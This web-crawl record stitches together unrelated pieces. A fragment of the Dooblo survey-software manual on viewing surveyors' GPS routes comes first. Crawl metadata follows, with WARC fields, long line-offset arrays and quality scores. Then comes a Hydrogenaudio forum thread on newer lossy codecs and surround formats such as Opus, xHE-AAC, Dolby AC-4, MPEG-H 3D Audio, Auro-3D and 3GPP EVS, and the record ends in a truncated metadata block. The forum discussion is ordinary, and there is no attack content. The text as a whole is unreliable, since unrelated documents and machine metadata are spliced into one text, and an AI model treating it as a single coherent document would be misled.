This node will allow you to view specific routes that the surveyors did, according to the order of the locations tracked.
If you double click this node, you would get the following menu.
1. Here you can choose the user to track its route, if you click the ‘Get User’s route’, it will provide you with a map indicating the users route.
2. Here you can define the time scale for viewing the route.
After you click the ‘Get User’s route’ button, you would be provided with a map showing the route of the user chosen.
• The red triangle sign indicates where the route has begun.
• The red square sign indicates where the route has finished.
• The small ‘S’ sign indicates a location where a survey has been conducted.
• The green lines indicate the route of the user, following the locations tracks according to their order.
• If you float with the cursor above any of these items, you would get the user, time and date that the item had been tracked.
Viewing the GPS Tracking through the Operations Grid
If you enter to the operations grid, you can choose a specific result and double click it:
If you go under the ‘Map’ tab, you would be able to view the specific place where this result was conducted.
• You can view this in Google Maps
• You can copy the specific coordinates to your clipboards.
• You can save this as a Google Earth file
• If you float over the location pin with your cursor you would see the user, time, date, result number and survey name.
Back to Table Of Contents
Visit us at: http://www.dooblo.net
Categories: Studio Manual
%d bloggers like this: | {
"url": "https://manual.dooblo.net/category/studio-manual/",
"source_domain": "manual.dooblo.net",
"snapshot_id": "crawl=CC-MAIN-2018-17",
"warc_metadata": {
"Content-Length": "143519",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UMOFLPTOR2YLMRIC67NX7AHR3NOMLPDZ",
"WARC-Concurrent-To": "<urn:uuid:82f222fa-2605-4ec8-97d7-fb8c182b3160>",
"WARC-Date": "2018-04-25T01:09:50Z",
"WARC-IP-Address": "192.0.78.12",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:WUP7SW4BEYZBKIIX6XBVSJSSQI2SUUIZ",
"WARC-Record-ID": "<urn:uuid:3bfaf9c1-a95d-487c-998c-aff81a725e4d>",
"WARC-Target-URI": "https://manual.dooblo.net/category/studio-manual/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1b225121-edc0-472b-b744-dcd370478b1c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-237-244-20.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-17\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for April 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
8,
9,
50,
51,
121,
122,
156,
157,
183,
229,
230,
239,
240,
522,
523,
525,
526,
728,
729,
955,
956,
1122,
1123,
1125,
1126,
1183,
1184,
1222,
1223,
1246,
1265,
1266,
1424,
1425,
1576,
1577,
1754,
1755,
1757,
1758,
1794,
1795,
1828,
1829,
1892,
1893,
1945,
1946,
1948,
1949,
1982,
1983,
2086,
2087,
2088,
2141,
2142,
2321,
2322,
2442,
2443,
2445,
2446,
2476,
2477,
2546,
2547,
2619,
2620,
2622,
2623,
2683,
2684,
2880,
2881,
3005,
3006,
3083,
3084,
3101,
3209,
3333,
3386,
3465,
3466,
3468,
3469,
3712,
3713,
3774,
3775,
3777,
3778,
3827,
3828,
3953,
3954,
3955,
4113,
4114,
4208,
4209,
4253,
4254,
4256,
4257,
4268,
4269,
4326,
4327,
4353,
4354,
4389,
4390,
4392,
4393,
4395,
4396,
4422,
4423,
4458,
4459,
4485,
4486,
4570,
4610,
4747,
4781,
4782,
4830,
4831,
4910,
5028,
5029,
5054,
5055,
5091,
5092,
5204,
5205,
5242,
5243,
5288,
5289,
5314,
5362,
5395,
5429,
5454,
5470,
5471,
5472,
5492,
5493,
5593,
5594,
5620,
5621,
5663,
5664,
5803,
5804,
5840,
5841,
5866,
5895,
5918,
5926,
5927,
5928,
5936,
5937,
6034,
6090,
6129,
6130,
6155,
6156,
6192,
6193,
6235,
6236,
6261,
6279,
6280,
6281,
6291,
6292,
6443,
6444,
6469,
6470,
6512,
6513,
6553,
6554,
6666,
6667,
6692,
6707,
6708,
6709,
6745,
6746,
6899,
6900,
6925,
6926,
6968,
6969,
7015,
7016,
7090,
7091,
7099,
7100,
7125,
7161,
7189,
7197,
7198,
7199,
7213,
7214,
7330,
7394,
7395,
7420,
7421,
7463,
7464,
7503,
7504,
7610,
7611,
7636,
7662,
7681,
7682,
7683,
7705,
7706,
7842,
7843,
7868,
7869,
7911,
7912,
7960,
7961,
7986,
8018,
8019,
8020,
8035,
8036,
8165,
8166,
8191,
8192,
8234,
8235,
8273,
8274,
8299,
8324,
8325,
8326,
8338,
8339,
8472,
8528,
8552,
8627,
8628,
8653,
8654,
8696,
8697,
8742,
8743,
8816,
8817,
8842,
8864,
8868,
8869,
8907,
8908,
9066,
9067,
9068,
9082,
9083,
9249,
9349,
9350,
9375,
9376,
9418,
9419,
9464,
9465,
9510,
9511,
9675,
9676,
9701,
9724,
9730,
9731,
9773,
9774,
9932,
9933,
9934,
9944,
9945,
10068,
10069,
10094,
10095,
10241,
10242,
10299,
10300,
10325,
10336,
10337,
10350,
10351,
10352,
10374,
10375,
10552,
10553,
10578,
10579,
10621,
10622,
10736,
10737,
10848,
10849,
10874,
10903,
10904,
10940,
10941,
10942,
10955,
10956,
11097,
11098,
11123,
11124,
11166,
11167,
11206,
11207,
11268,
11269,
11294,
11310,
11333,
11334,
11355,
11356,
11380,
11381,
11407,
11415,
11445,
11446,
11466,
11467,
11604,
11605,
11755,
12040,
12058,
12059,
12172,
12173,
12196,
12197,
12378,
12379,
12406,
12487,
12488,
12630,
12631,
12839,
12915,
13013,
13014,
13055,
13056,
13133,
13134,
13135,
13213,
13214,
13384,
13385,
13512,
13513,
13580,
13581,
13664,
13665,
13762,
13763,
13764,
13947,
13948,
14008,
14009,
14016,
14017,
14029,
14030,
14035,
14036,
14061,
14062,
14065,
14066,
14078,
14079,
14084,
14085,
14137,
14138,
14143,
14144,
14210,
14211,
14459,
14460,
15103,
15104,
15261,
15262,
15322,
15323,
15470,
15471,
15703,
15704,
15740,
15748,
15766,
15767,
15780,
15802,
15803,
15829,
15830,
15864,
15865,
15894,
15895,
15921,
15930,
15967,
15968,
16014,
16015,
16368,
16369,
16400,
16401,
16519,
16520,
16521,
16662,
16663,
16678,
16679,
16692,
16693,
16706,
16707,
16772,
16823,
16824,
17064,
17136,
17137,
17263,
17264,
17265,
17352,
17353,
17396,
17502,
17503,
17504,
17557,
17558,
17832,
18080,
18081,
18120,
18121,
18261,
18262,
18263,
18282,
18390,
18656,
18895,
18896,
18953,
18954,
18980,
18993,
18996,
19018,
19019,
19045,
19046,
19079,
19080,
19104,
19105,
19131,
19140,
19188,
19189,
19216,
19217,
19680,
19681,
19699,
19700,
19830,
19831,
19832,
20025,
20026,
20027,
20267,
20268,
20289,
20290,
20291,
20387,
20388,
20411,
20412,
20413,
20482,
20483,
20505,
20506,
20507,
20617,
20735,
20736,
20757,
20758,
21167,
21168,
21325,
21326,
21430,
21431,
21432,
21451,
21850,
22143,
22306,
22390,
22391,
22406,
22407,
22559,
22560,
22561,
22580,
22941,
23128,
23335,
23336,
23363,
23364,
23505,
23506,
23507,
23526,
23634,
23900,
24139,
24140,
24210,
24211,
24212,
24343,
24344,
24383,
24384,
24640,
24641,
24642,
24643,
24703,
24704,
24705,
24767,
24768,
24769,
24874,
24875,
24884,
24885,
25090,
25091,
25107,
25108,
25191,
25192,
25193,
25294,
25295,
25296,
25310,
25311,
25397,
25398,
25399,
25492,
25493,
25494,
25518,
25519,
25545,
25558,
25560,
25582,
25583,
25609,
25610,
25652,
25653,
25676,
25677,
25686,
25687,
25759,
25844,
25883,
25884,
25939,
25940,
26225,
26226,
26275,
26276,
26311,
26312,
26338,
26339,
26366,
26367,
26393,
26394,
26448,
26449,
26499,
26500,
26619,
26755,
26909,
26910,
26942,
26943,
26956,
26957,
27127,
27128,
27129,
27156,
27157,
27266,
27345,
27346,
27441,
27540,
27631,
27675,
27744,
27745,
27867,
27868,
27958,
28100,
28171,
28244,
28245,
28261,
28262,
28384,
28449,
28450,
28600,
28663,
28664,
28782,
28783,
28846,
28910,
28989,
29098,
29227,
29228,
29281,
29282,
29373,
29374,
29483,
29484,
29521,
29583,
29628,
29751,
29752,
29778,
29779,
29815,
29816,
29817,
29843
],
"line_end_idx": [
8,
9,
50,
51,
121,
122,
156,
157,
183,
229,
230,
239,
240,
522,
523,
525,
526,
728,
729,
955,
956,
1122,
1123,
1125,
1126,
1183,
1184,
1222,
1223,
1246,
1265,
1266,
1424,
1425,
1576,
1577,
1754,
1755,
1757,
1758,
1794,
1795,
1828,
1829,
1892,
1893,
1945,
1946,
1948,
1949,
1982,
1983,
2086,
2087,
2088,
2141,
2142,
2321,
2322,
2442,
2443,
2445,
2446,
2476,
2477,
2546,
2547,
2619,
2620,
2622,
2623,
2683,
2684,
2880,
2881,
3005,
3006,
3083,
3084,
3101,
3209,
3333,
3386,
3465,
3466,
3468,
3469,
3712,
3713,
3774,
3775,
3777,
3778,
3827,
3828,
3953,
3954,
3955,
4113,
4114,
4208,
4209,
4253,
4254,
4256,
4257,
4268,
4269,
4326,
4327,
4353,
4354,
4389,
4390,
4392,
4393,
4395,
4396,
4422,
4423,
4458,
4459,
4485,
4486,
4570,
4610,
4747,
4781,
4782,
4830,
4831,
4910,
5028,
5029,
5054,
5055,
5091,
5092,
5204,
5205,
5242,
5243,
5288,
5289,
5314,
5362,
5395,
5429,
5454,
5470,
5471,
5472,
5492,
5493,
5593,
5594,
5620,
5621,
5663,
5664,
5803,
5804,
5840,
5841,
5866,
5895,
5918,
5926,
5927,
5928,
5936,
5937,
6034,
6090,
6129,
6130,
6155,
6156,
6192,
6193,
6235,
6236,
6261,
6279,
6280,
6281,
6291,
6292,
6443,
6444,
6469,
6470,
6512,
6513,
6553,
6554,
6666,
6667,
6692,
6707,
6708,
6709,
6745,
6746,
6899,
6900,
6925,
6926,
6968,
6969,
7015,
7016,
7090,
7091,
7099,
7100,
7125,
7161,
7189,
7197,
7198,
7199,
7213,
7214,
7330,
7394,
7395,
7420,
7421,
7463,
7464,
7503,
7504,
7610,
7611,
7636,
7662,
7681,
7682,
7683,
7705,
7706,
7842,
7843,
7868,
7869,
7911,
7912,
7960,
7961,
7986,
8018,
8019,
8020,
8035,
8036,
8165,
8166,
8191,
8192,
8234,
8235,
8273,
8274,
8299,
8324,
8325,
8326,
8338,
8339,
8472,
8528,
8552,
8627,
8628,
8653,
8654,
8696,
8697,
8742,
8743,
8816,
8817,
8842,
8864,
8868,
8869,
8907,
8908,
9066,
9067,
9068,
9082,
9083,
9249,
9349,
9350,
9375,
9376,
9418,
9419,
9464,
9465,
9510,
9511,
9675,
9676,
9701,
9724,
9730,
9731,
9773,
9774,
9932,
9933,
9934,
9944,
9945,
10068,
10069,
10094,
10095,
10241,
10242,
10299,
10300,
10325,
10336,
10337,
10350,
10351,
10352,
10374,
10375,
10552,
10553,
10578,
10579,
10621,
10622,
10736,
10737,
10848,
10849,
10874,
10903,
10904,
10940,
10941,
10942,
10955,
10956,
11097,
11098,
11123,
11124,
11166,
11167,
11206,
11207,
11268,
11269,
11294,
11310,
11333,
11334,
11355,
11356,
11380,
11381,
11407,
11415,
11445,
11446,
11466,
11467,
11604,
11605,
11755,
12040,
12058,
12059,
12172,
12173,
12196,
12197,
12378,
12379,
12406,
12487,
12488,
12630,
12631,
12839,
12915,
13013,
13014,
13055,
13056,
13133,
13134,
13135,
13213,
13214,
13384,
13385,
13512,
13513,
13580,
13581,
13664,
13665,
13762,
13763,
13764,
13947,
13948,
14008,
14009,
14016,
14017,
14029,
14030,
14035,
14036,
14061,
14062,
14065,
14066,
14078,
14079,
14084,
14085,
14137,
14138,
14143,
14144,
14210,
14211,
14459,
14460,
15103,
15104,
15261,
15262,
15322,
15323,
15470,
15471,
15703,
15704,
15740,
15748,
15766,
15767,
15780,
15802,
15803,
15829,
15830,
15864,
15865,
15894,
15895,
15921,
15930,
15967,
15968,
16014,
16015,
16368,
16369,
16400,
16401,
16519,
16520,
16521,
16662,
16663,
16678,
16679,
16692,
16693,
16706,
16707,
16772,
16823,
16824,
17064,
17136,
17137,
17263,
17264,
17265,
17352,
17353,
17396,
17502,
17503,
17504,
17557,
17558,
17832,
18080,
18081,
18120,
18121,
18261,
18262,
18263,
18282,
18390,
18656,
18895,
18896,
18953,
18954,
18980,
18993,
18996,
19018,
19019,
19045,
19046,
19079,
19080,
19104,
19105,
19131,
19140,
19188,
19189,
19216,
19217,
19680,
19681,
19699,
19700,
19830,
19831,
19832,
20025,
20026,
20027,
20267,
20268,
20289,
20290,
20291,
20387,
20388,
20411,
20412,
20413,
20482,
20483,
20505,
20506,
20507,
20617,
20735,
20736,
20757,
20758,
21167,
21168,
21325,
21326,
21430,
21431,
21432,
21451,
21850,
22143,
22306,
22390,
22391,
22406,
22407,
22559,
22560,
22561,
22580,
22941,
23128,
23335,
23336,
23363,
23364,
23505,
23506,
23507,
23526,
23634,
23900,
24139,
24140,
24210,
24211,
24212,
24343,
24344,
24383,
24384,
24640,
24641,
24642,
24643,
24703,
24704,
24705,
24767,
24768,
24769,
24874,
24875,
24884,
24885,
25090,
25091,
25107,
25108,
25191,
25192,
25193,
25294,
25295,
25296,
25310,
25311,
25397,
25398,
25399,
25492,
25493,
25494,
25518,
25519,
25545,
25558,
25560,
25582,
25583,
25609,
25610,
25652,
25653,
25676,
25677,
25686,
25687,
25759,
25844,
25883,
25884,
25939,
25940,
26225,
26226,
26275,
26276,
26311,
26312,
26338,
26339,
26366,
26367,
26393,
26394,
26448,
26449,
26499,
26500,
26619,
26755,
26909,
26910,
26942,
26943,
26956,
26957,
27127,
27128,
27129,
27156,
27157,
27266,
27345,
27346,
27441,
27540,
27631,
27675,
27744,
27745,
27867,
27868,
27958,
28100,
28171,
28244,
28245,
28261,
28262,
28384,
28449,
28450,
28600,
28663,
28664,
28782,
28783,
28846,
28910,
28989,
29098,
29227,
29228,
29281,
29282,
29373,
29374,
29483,
29484,
29521,
29583,
29628,
29751,
29752,
29778,
29779,
29815,
29816,
29817,
29843,
29865
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 29865,
"ccnet_original_nlines": 735,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3693616986274719,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005446809809654951,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17344680428504944,
"rps_doc_frac_unique_words": 0.17323480546474457,
"rps_doc_mean_word_length": 4.869868755340576,
"rps_doc_num_sentences": 261,
"rps_doc_symbol_to_word_ratio": 0.0005106399767100811,
"rps_doc_unigram_entropy": 5.54099178314209,
"rps_doc_word_count": 4872,
"rps_doc_frac_chars_dupe_10grams": 0.18110932409763336,
"rps_doc_frac_chars_dupe_5grams": 0.2967208921909332,
"rps_doc_frac_chars_dupe_6grams": 0.2475343495607376,
"rps_doc_frac_chars_dupe_7grams": 0.23033803701400757,
"rps_doc_frac_chars_dupe_8grams": 0.21440613269805908,
"rps_doc_frac_chars_dupe_9grams": 0.19999156892299652,
"rps_doc_frac_chars_top_2gram": 0.01239147037267685,
"rps_doc_frac_chars_top_3gram": 0.01761779934167862,
"rps_doc_frac_chars_top_4gram": 0.014793899841606617,
"rps_doc_books_importance": -2531.481689453125,
"rps_doc_books_importance_length_correction": -2531.481689453125,
"rps_doc_openwebtext_importance": -1058.4490966796875,
"rps_doc_openwebtext_importance_length_correction": -1058.4490966796875,
"rps_doc_wikipedia_importance": -814.2294921875,
"rps_doc_wikipedia_importance_length_correction": -814.2294921875
},
"fasttext": {
"dclm": 0.019978880882263184,
"english": 0.8583406805992126,
"fineweb_edu_approx": 1.4382336139678955,
"eai_general_math": 0.5192838907241821,
"eai_open_web_math": 0.18036127090454102,
"eai_web_code": 0.2032337188720703
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.40285",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,468,358,846,994,978,000 | Skip to main content
Topic: State of the art lossy codecs and surround formats (Read 26209 times) previous topic - next topic
0 Members and 1 Guest are viewing this topic.
State of the art lossy codecs and surround formats
I thought I'd share these for interest. It's amazing how much is happening in the audio world right now.
In terms of new-ish lossy codecs and surround formats, I know of the following - anyone know of any others?
My explanations, where included, are from my current understanding - reality may be more complex
Opus
I don't need to explain this one.
http://opus-codec.org/
http://en.wikipedia.org/wiki/Opus_(audio_format)
http://www.hydrogenaud.io/forums/index.php?showtopic=106911
etc
xHE-AAC
This includes some information about Extended HE-AAC - see slide 15 onwards:
http://www.irt.de/webarchiv/showdoc.php?z=...DA1MjE2I3BkZg==
There are some xHE-AAC and Opus samples here:
http://www.indexcom.com/streaming/codec/
They're not mine, and I don't know what software versions were used to encode them.
The Beatles sample is particularly challenging at low bitrates with its (uncomfortably) wide stereo.
There are some very low bitrate examples in this demo video:
http://www.drm.org/?page_id=2396
(click "DRM-xHE-AAC demo")
doc.php?z=NjI4MSMxMDA1MjE2I3BkZg==
Dolby AC-4
Dolby's latest codec, aiming to reduce the required bitrate compared to E-AC-3.
A few details, and a link to the spec, here:
http://www.investincotedazur.com/en/info/n...codec-standard/
MPEG-H Part 3: Audio
A new 3D audio standard, supporting a mixture of channel-based (like conventional 5.1), object-based (mono source + position information), and scene based (Higher Order Ambisonics) audio sources, efficient encoding of them, and a renderer to put it all back together and feed it to whatever speaker array (or headphones) you have.
They are targeting 256kbs - 1.2Mbps in the first phase (effectively complete - standard will be published February 2015). It delivers close to "true transparency" at 1.2Mbps 22.2 channels:
http://multimediacommunication.blogspot.co...th-meeting.html
They are targeting 48kbps - 128kbps in the second phase. It delivers "Good" quality (MUSHRA scale) at 128kbps for 22.2 channels:
http://mpeg.chiariglione.org/meetings/109
(see press release).
Dolby Atmos Home
From the horse's mouth:
http://blog.dolby.com/2014/06/dolby-atmos-...tions-answered/
http://blog.dolby.com/2014/06/dolby-atmos-...ving-room-near/
ECMA-407
This seems to be a way of parametrically encoding multiple (e.g. 22.2) channels, using an extremely low bitrate addition to a standard lossy codec (e.g. AAC). There is a 22.2 demonstration running at 256kbps (using AAC).
The spec is here:
http://www.ecma-international.org/publicat...ds/Ecma-407.htm
The company behind it is here:
http://www.swissaudec.com/
Cheers,
David.
State of the art lossy codecs and surround formats
Reply #1
There's Xiph.org Ghost of course, but it's more a bunch of ideas and not really a codec (yet) if I understood correctly.
Music: sounds arranged such that they construct feelings.
State of the art lossy codecs and surround formats
Reply #2
Nice list David. Please allow me to add "the" second 3D format that is more music based, where Dolby Atmos is more cinema based.
Auro-3D
"Auro-3D is the next generation three-dimensional audio standard. It provides a realistic sound experience unlike anything before. By fully immersing the listener in a cocoon of life-like sound, Auro-3D® creates the sensation of actually 'being there'. Thanks to a unique 'Height' channel configuration, acoustic reflections are generated and heard naturally due to the fact that sounds originate from around as well as above the listener."
State of the art lossy codecs and surround formats
Reply #3
Isn't DTS-UHD similar to Auro-3D?
State of the art lossy codecs and surround formats
Reply #5
I think the most of new surround formats are based on MPEG Surround or a fork of it.
http://mpeg.chiariglione.org/standards/mpeg-d
Bad news is that while the standard was adopted in 2007 there is no publicly available encoder. That's 7 years ago.
Same goes for USAC/xHE-AAC (2011)
State of the art lossy codecs and surround formats
Reply #6
In terms of new-ish lossy codecs and surround formats, I know of the following - anyone know of any others?
There's also the 3GPP Enhanced Voice Services (EVS) project. Standardization is currently in its last stage, see here.
This is basically a low-delay (< 30 ms) speech and music codec for up to super-wide bandwidth (SWB) even at very low bit-rates (e.g. 14-16 kHz bandwidth at 13 kbit/s mono).
[quote author=IgorC link=msg=0 date=]I think the most of new surround formats are based on MPEG Surround or a fork of it. ... Bad news is that while the standard was adopted in 2007 there is no publicly available encoder.[/quote]
I think in case of MPEG-H 3D-Audio it's a bit different from MPEG Surround.
The Sonnox Pro-Codec plug-in (and maybe also the Codec Toolbox plug-in) can encode to AAC with MPEG Surround.
But both aren't available for free, if that's what you mean by "publicly available".
Chris
If I don't reply to your reply, it means I agree with you.
State of the art lossy codecs and surround formats
Reply #7
Just read on the German heise Online that Apple and U2 are working on a new format. Anyone happens to know more about it?
I wonder what kind of expertise U2 has w.r.t. audio technology... or maybe it will be as ill-advised as the Pono bullshit by Neil Young.
EDIT: It's been slashdotted.
It's only audiophile if it's inconvenient.
State of the art lossy codecs and surround formats
Reply #8
There's also the 3GPP Enhanced Voice Services (EVS) project. Standardization is currently in its last stage, see here.
This is basically a low-delay (< 30 ms) speech and music codec for up to super-wide bandwidth (SWB) even at very low bit-rates (e.g. 14-16 kHz bandwidth at 13 kbit/s mono).
EVS is very interesting format for Telcos. 5.9 kbps for wideband voice is something outstanding.
http://docbox.etsi.org/workshop/2012/20121...m_varga_evs.pdf
Though again this format isn't into transparent region. Such features like stereo, full band 44.1/48 kHz, VBR aren't mandatory.
And it says that EVS would have "near" (not superior to) AAC quality for music content.
The Sonnox Pro-Codec plug-in (and maybe also the Codec Toolbox plug-in) can encode to AAC with MPEG Surround.
But both aren't available for free, if that's what you mean by "publicly available".
I didn't know about these applications. Thank You. Though there is no hard-/software support for it. It’s not about me going hard here but if such destiny waits for USAC then it will be the same way unpopular and unused. It would be a loss of opportunity.
At least in my opinion, open source AAC encoder (FDK) was a step into right direction.
State of the art lossy codecs and surround formats
Reply #9
EVS is very interesting format for Telcos. 5.9 kbps for wideband voice is something outstanding.
That just reminded me of codec2.
Apparently, the Free Telephony Project is still active.
http://www.rowetel.com/blog/?page_id=452
http://freedv.org/
http://sourceforge.net/p/freetel/code/HEAD/tree/
State of the art lossy codecs and surround formats
Reply #10
There are some xHE-AAC and Opus samples here:
http://www.indexcom.com/streaming/codec/
...
That xHE-AAC encoder isn't particularly high quality one.
Here are some USAC and HE-AAC files from Unified Speech and Audio Coding Verification Test Report
P.S. Nice video about USAC http://mpeg.chiariglione.org/
State of the art lossy codecs and surround formats
Reply #11
Just read on the German heise Online that Apple and U2 are working on a new format. Anyone happens to know more about it?
My first thought was HD-AAC. But that's just my guess.
---
xHE-AAC/USAC sounds interesting. Is there any paper which details what is the difference between SBR and eSBR? From the spectrum it seems it has more detailed control over the SBR replication tools and USAC's more efficient coding allows to use higher frequency cross-cut point between LC-AAC and SBR at the same bitrate than HE-AAC.
For me @64kbps and above Opus is better then HE-AAC. For speech i would use Codec2. I was amazed how understandable the output is at those extremly low bitrates. (I wonder why none of the digital radio broadcast standards adopt an updateable codec architecture with on-air downloaded decoders? Nowadays even low end ARM processors are strong enough to decode stereo audio thrown at them in any codec format)
WavPack -b4x4hc
Opus --cvbr --bitrate 256 --framesize 5
State of the art lossy codecs and surround formats
Reply #12
xHE-AAC/USAC sounds interesting. Is there any paper which details what is the difference between SBR and eSBR?
I found this, at the right side you can click on "View" to download it.
[quote author=IgorC link=msg=0 date=]Though again this format isn't into transparent region. Such features like stereo, full band 44.1/48 kHz, VBR aren't mandatory.[/quote]
You're right about the non-mandatory features. But when I worked on it, up to 96 kbit/s mono was supported. That should be transparent. And supporting only CBR might be less of an issue than you might think, see below.
[quote author=IgorC link=msg=0 date=]And it says that EVS would have "near" (not superior to) AAC quality for music content.[/quote]
Last year we did a MUSHRA test 48 kbit/s mono with an early version of the EVS codec, in which AAC was outperformed even though the EVS codec uses hard-CBR (CELT ran at unconstrained-VBR, the other codecs at CVBR).
Not sure about the lower bit-rates, but I don't think it will be worse than AAC (it might be worse than xHE-AAC, though, a consequence of the low-delay constraint).
[attachment=8021:icassp14.png] figure taken from this ICASSP paper.
Chris
If I don't reply to your reply, it means I agree with you.
State of the art lossy codecs and surround formats
Reply #13
Isn't DTS-UHD similar to Auro-3D?
I thought that "height" channels were already and option of 7.1, instead of more back speakers. I could be confusing it though. I know that many 7.1 receivers have an option regarding height channels
Also, please don't rip on me if you choose to answer this question quickly, yes I have tried to look it up; when a multichannel lossy codec is has a bit rate eg; 320kbps is that divided among 5 or seven speakers? like 64kbps per channel. I assume this is true as is 128kbps stereo is 64kbps per channel, right? To save your time, I'm ok with "correct," "No," or "it's more complicated than that, go look it up some more."
end the LOUDNESS war... please?
State of the art lossy codecs and surround formats
Reply #14
@plasticpitchfork No. (Channel coupling < is the thing to google about)
PANIC: CPU 1: Cache Error (unrecoverable - dcache data) Eframe = 0x90000000208cf3b8
NOTICE - cpu 0 didn't dump TLB, may be hung
State of the art lossy codecs and surround formats
Reply #16
[quote author=IgorC link=msg=0 date=]Though again this format isn't into transparent region. Such features like stereo, full band 44.1/48 kHz, VBR aren't mandatory.
You're right about the non-mandatory features. But when I worked on it, up to 96 kbit/s mono was supported. That should be transparent. And supporting only CBR might be less of an issue than you might think, see below.
[/quote]
The source code for the fixed point implementation of the EVS is also available:
http://www.3gpp.org/DynaReport/26442.htm
The floating point source code should be available next year.
EVS also supports full band (48kHz). Stereo is not available yet, but hopefully will be provided in the future. A bit to signal stereo is reserved in the bitstream.
Mono up to 128 kbps is supported and already at 48 kbps listening results are great (as Chris showed with the graph). So I expect that it is transparent at 96 kbps mono.
But the main thing is that the EVS provides much better quality than the competition at low bitrates (<= 24.4 kbps). Some papers including listening test results should appear next year that will show this.
State of the art lossy codecs and surround formats
Reply #17
The MPEG-H listening tests have been published...
http://mpeg.chiariglione.org/standards/mpe...formance-report
Before you get too excited, the test only includes MPEG-H, three unidentified codecs, and a 3.5kHz LPF low anchor. I'm sure the folks at MPEG know more than me, but in my naive opinion the low anchor is too low.
Cheers,
David.
State of the art lossy codecs and surround formats
Reply #18
The MPEG-H listening tests have been published...
http://mpeg.chiariglione.org/standards/mpe...formance-report
Before you get too excited, the test only includes MPEG-H, three unidentified codecs, and a 3.5kHz LPF low anchor. I'm sure the folks at MPEG know more than me, but in my naive opinion the low anchor is too low.
The anchors are dictated by the MUSHRA methodology: http://en.wikipedia.org/wiki/MUSHRA.
They serve as regulators for the score range.
State of the art lossy codecs and surround formats
Reply #19
Thank you. I'd forgotten the 3.5kHz one was mandatory.
Cheers,
David.
State of the art lossy codecs and surround formats
Reply #20
[quote author=IgorC link=msg=0 date=]I think the most of new surround formats are based on MPEG Surround or a fork of it. ... Bad news is that while the standard was adopted in 2007 there is no publicly available encoder.
I think in case of MPEG-H 3D-Audio it's a bit different from MPEG Surround.
[/quote]
The extra additions for the "USAC-plus" core codec in MPEG-H 3D-Audio (MHA? 3DA?) seem like they'd be really useful for normal, stereo mid-bitrate situations. At least one of the tools, the combined parametric + residual stereo mixer, simply reads like someone forgot to include it in the original USAC spec.
I wonder if there's been any effort to characterize how 3DA performs as a basic stereo music/voice codec.
State of the art lossy codecs and surround formats
Reply #21
Ah, it seems like stereo subjective testing will be part of the submission process for ATSC 3.0.
It'll be between MPEG-H, Dolby, and DTS. I hope the results will be made public.
State of the art lossy codecs and surround formats
Reply #22
I wish they also allowed public contribution through the internet. Just hope their testing methodology isn't flawed.
State of the art lossy codecs and surround formats
Reply #23
As surround formats are discussed it's worth to mention that a patents of AC-3 will expire somewhere in 2017.
A new MPEG-H 3D-Audio will still offer a high number of channels then AC-3 5.1. So compression efficiency is only one variable here. Some part of industry can eventually prefer free-patent AC-3 in future. AC-3 is a most popular audio format on DVD and Blu Ray.
It can lead to same situation as for JPEG image format. All its patents have been expired and there were a number of a newer image compression formats (JPEG2000, JPEG XR, WebP (intra VP8) and lately HEVC-based BPG). But none of them come any closer to JPEG's status of leading/most popular image format.
State of the art lossy codecs and surround formats
Reply #24
It can lead to same situation as for JPEG image format. All its patents have been expired and there were a number of a newer image compression formats (JPEG2000, JPEG XR, WebP (intra VP8) and lately HEVC-based BPG). But none of them come any closer to JPEG's status of leading/most popular image format.
The same story will probably happen with mp3. We are just 2 years away from expiring it's last patents in April 2017. With zillions mp3 supporting devices around the world it will seriously reduce importance of free lossy audio codecs like ogg or opus, at least at high bitrates 128k+.
SimplePortal 1.0.0 RC1 © 2008-2019 | {
"url": "https://hydrogenaud.io/index.php/topic,106938.msg895523.html",
"source_domain": "hydrogenaud.io",
"snapshot_id": "crawl=CC-MAIN-2019-18",
"warc_metadata": {
"Content-Length": "108144",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:K6S7NFZ6GQA2FXMIJSFYVS7BFFRCVCPH",
